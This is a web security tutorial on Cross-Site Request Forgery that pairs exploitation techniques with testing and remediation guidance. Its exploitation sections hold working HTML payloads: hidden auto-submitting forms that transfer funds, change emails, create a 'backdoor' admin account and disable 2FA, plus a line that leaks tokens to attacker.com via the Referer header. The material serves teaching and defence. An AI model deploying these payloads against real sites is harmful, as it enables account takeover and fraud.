
Cross-Site Request Forgery (CSRF): Exploitation and Defense
CSRF attacks including token bypass techniques, exploitation methods, and modern defense mechanisms for web application security.
Introduction
Cross-Site Request Forgery (CSRF) forces authenticated users to perform unintended actions on web applications where they're currently authenticated. Unlike XSS which exploits user trust in a website, CSRF exploits the website's trust in the user's browser.
CSRF attacks can change email addresses, transfer funds, modify passwords, or perform any action the victim is authorized to do. The attack succeeds because browsers automatically include credentials (cookies, basic auth) with requests to sites the user has authenticated to.
Attack Mechanics
Basic CSRF Attack Flow
- User authenticates to
vulnerable-site.com - User visits
attacker-site.com(while still logged in) - Attacker's page makes request to
vulnerable-site.com - Browser includes authentication cookies automatically
- Server processes request as legitimate user action
Prerequisites for CSRF
- Relevant action: Privileged operation (password change, fund transfer)
- Cookie-based auth: Session management relies solely on cookies
- No unpredictable parameters: No CSRF tokens or other defenses
CSRF Exploitation Techniques
GET-Based CSRF
Simplest form, often via image tags or links:
<!-- Auto-submitting via image -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" width="0" height="0">
<!-- Link-based (requires click) -->
<a href="https://bank.com/transfer?to=attacker&amount=10000">Click for prize!</a>
<!-- Multiple requests via images -->
<img src="https://bank.com/transfer?to=attacker&amount=1000">
<img src="https://bank.com/transfer?to=attacker&amount=1000">
<img src="https://bank.com/transfer?to=attacker&amount=1000">POST-Based CSRF
Using hidden forms with auto-submit:
<html>
<body onload="document.forms[0].submit()">
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
</body>
</html>JSON-Based CSRF
When applications expect JSON content type:
<!-- Using form with enctype -->
<form action="https://api.target.com/user/update" method="POST" enctype="text/plain">
<input name='{"email":"[email protected]","ignore":"' value='"}'>
</form>
<!-- Result: {"email":"[email protected]","ignore":"="} -->CSRF with XHR (if CORS misconfigured)
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://api.target.com/transfer", true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.withCredentials = true;
xhr.send(JSON.stringify({to: "attacker", amount: 10000}));
</script>Token Bypass Techniques
Removing CSRF Token
Sometimes applications only validate token if present:
<!-- Original request -->
<form action="/transfer" method="POST">
<input name="csrf_token" value="abc123">
<input name="amount" value="100">
</form>
<!-- Attack: Simply remove the token -->
<form action="https://target.com/transfer" method="POST">
<input name="amount" value="100">
</form>Using Another User's Token
Check if tokens are tied to sessions:
<!-- Use your own valid token in attack -->
<form action="https://target.com/transfer" method="POST">
<input name="csrf_token" value="YOUR_VALID_TOKEN">
<input name="amount" value="100">
</form>Token Leakage via Referer
If token is in URL and leaks via Referer header:
<img src="https://attacker.com/log">
<!-- Referer: https://target.com/page?csrf_token=abc123 -->Predictable Tokens
Analyze token patterns for predictability:
# Check for:
# - Sequential tokens
# - Timestamp-based tokens
# - Weak PRNG
# - Tokens based on user data (user ID, email hash)Token Fixation
Pre-set a known token if application allows:
1. Get valid token from your session
2. Somehow inject this token into victim's session
3. Use same token in CSRF attackMethod Override
Some frameworks support method override:
<!-- Override POST to PUT/DELETE -->
<form action="https://target.com/api/user?_method=DELETE" method="POST">
<input name="id" value="victim">
</form>
<!-- Or via header simulation -->
<form action="https://target.com/api/user" method="POST">
<input name="_method" value="DELETE">
<input name="id" value="victim">
</form>Bypassing SameSite Cookies
SameSite=Lax Bypass
Lax allows GET requests from top-level navigations:
<!-- This works with SameSite=Lax -->
<a href="https://target.com/[email protected]">Click me</a>
<!-- Or via window.open -->
<script>window.open("https://target.com/[email protected]")</script>Subdomain Attacks
If vulnerable subdomain exists:
1. Find XSS on subdomain.target.com
2. Use XSS to make requests to main target.com
3. Cookies with SameSite may be included (same site)OAuth/SSO Flows
Authentication flows often have CSRF-like vulnerabilities:
1. Start OAuth flow on attacker site
2. Get authorization code for attacker account
3. Victim clicks link with attacker's auth code
4. Victim's account linked to attacker's external accountExploitation Scenarios
Account Takeover via Email Change
<html>
<body onload="document.forms[0].submit()">
<form action="https://target.com/account/email" method="POST">
<input name="new_email" value="[email protected]">
</form>
</body>
</html>
<!-- Then use password reset on attacker email -->Admin User Creation
<form action="https://target.com/admin/users/create" method="POST">
<input name="username" value="backdoor">
<input name="password" value="password123">
<input name="role" value="admin">
</form>Financial Transactions
<img src="https://bank.com/transfer?to=attacker_account&amount=max" width="0" height="0">Settings Manipulation
<!-- Disable 2FA -->
<form action="https://target.com/settings/2fa/disable" method="POST">
<input type="submit" value="Submit">
</form>
<!-- Change password (if no re-auth required) -->
<form action="https://target.com/settings/password" method="POST">
<input name="new_password" value="hacked123">
<input name="confirm_password" value="hacked123">
</form>Detection Methodology
Manual Testing
- Identify state-changing endpoints
- Analyze request structure (tokens, headers)
- Test token validation:
- Remove token entirely
- Use empty token
- Use token from different session
- Modify token slightly
- Test HTTP method alternatives
- Check SameSite cookie attributes
Using Burp Suite
1. Capture request in Proxy
2. Right-click → Engagement tools → Generate CSRF PoC
3. Copy HTML to attacker server
4. Test in different browser sessionRemediation
CSRF Tokens
# Generate cryptographically secure token
import secrets
csrf_token = secrets.token_hex(32)
# Validate on server
if request.form.get('csrf_token') != session.get('csrf_token'):
abort(403)SameSite Cookies
Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly| Value | Behavior |
|---|---|
| Strict | Never sent cross-site |
| Lax | Sent on top-level GET navigations |
| None | Always sent (requires Secure) |
Custom Headers
For APIs, require custom header that can't be set cross-origin:
// Client
fetch('/api/transfer', {
headers: { 'X-Requested-With': 'XMLHttpRequest' }
});
// Server validates header presenceRe-authentication for Sensitive Actions
Require password/2FA for:
- Password changes
- Email changes
- Financial transactions
- Security settings
References
MITRE ATT&CK Techniques
- T1557 - Adversary-in-the-Middle - Session manipulation context
- T1185 - Browser Session Hijacking - Session abuse
Common Weakness Enumeration
- CWE-352 - Cross-Site Request Forgery (CSRF) - Primary CSRF weakness
- CWE-346 - Origin Validation Error - Missing origin checks
OWASP Resources
- OWASP CSRF Prevention Cheat Sheet - Remediation guidance
- OWASP Testing Guide - CSRF - Testing methodology
Security Resources
- SameSite Cookies Explained - Modern browser protections
- CSRF Tokens Explained - Token implementation guide
Related Articles
- Cross-Site Scripting - XSS can be used to bypass CSRF defenses
- Authentication Bypass - Session management vulnerabilities
- API Security - API-specific CSRF considerations
Last updated on
Authentication Bypass: Breaking Login Mechanisms
Authentication vulnerabilities including credential attacks, session management flaws, MFA bypass, and OAuth vulnerabilities.
Directory Listing
How directory listing (indexing) can leak sensitive files and metadata, why it matters, and practical mitigations for web servers and cloud storage.